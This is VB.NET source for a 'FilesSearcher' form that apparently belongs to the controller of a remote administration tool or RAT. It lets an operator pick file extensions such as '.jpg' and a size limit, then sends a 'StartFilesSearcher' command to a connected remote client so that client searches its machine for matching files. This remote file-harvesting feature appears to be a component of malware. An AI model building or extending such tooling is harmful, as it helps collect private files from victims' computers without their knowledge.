Imports System.Threading Public Class FilesSearcher Public C As Client Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick Try If Not C.IsConnected Then Close() End If Catch ex As Exception Debug.WriteLine(ex.Message) End Try End Sub Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click If ListBox1.Items.Count > 0 And Guna2NumericUpDown1.Text.Length > 0 Then Guna2GradientButton1.Enabled = False Dim SBx As New System.Text.StringBuilder SBx.Clear() For Each Item As String In ListBox1.Items SBx.Append("-=>" & Item) Next Dim B As Byte() = SB("StartFilesSearcher" & SettingsHelper.SPL & Guna2NumericUpDown1.Value.ToString & "000000" & SettingsHelper.SPL & SBx.ToString) ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B) End If End Sub Private Sub ToolStripMenuItem7_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem7.Click ListBox1.Items.Clear() End Sub Private Sub AddToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles AddToolStripMenuItem1.Click Dim str As String = ".jpg" Dim str3 As String = Interaction.InputBox("Add Extension", "Files Searcher", str) If (str3.Length = 0) Then Else If ListBox1.Items.Contains(str3) Then Else ListBox1.Items.Add(str3) End If End If End Sub Private Sub RemoveToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RemoveToolStripMenuItem1.Click Try Do While (ListBox1.SelectedItems.Count > 0) ListBox1.Items.Remove(ListBox1.SelectedItem) Loop Catch ex As Exception Debug.WriteLine(ex.Message) End Try End Sub Private Sub FilesSearcher_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing Dim B As Byte() = SB("CloseFilesSearcher") ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B) End Sub End Class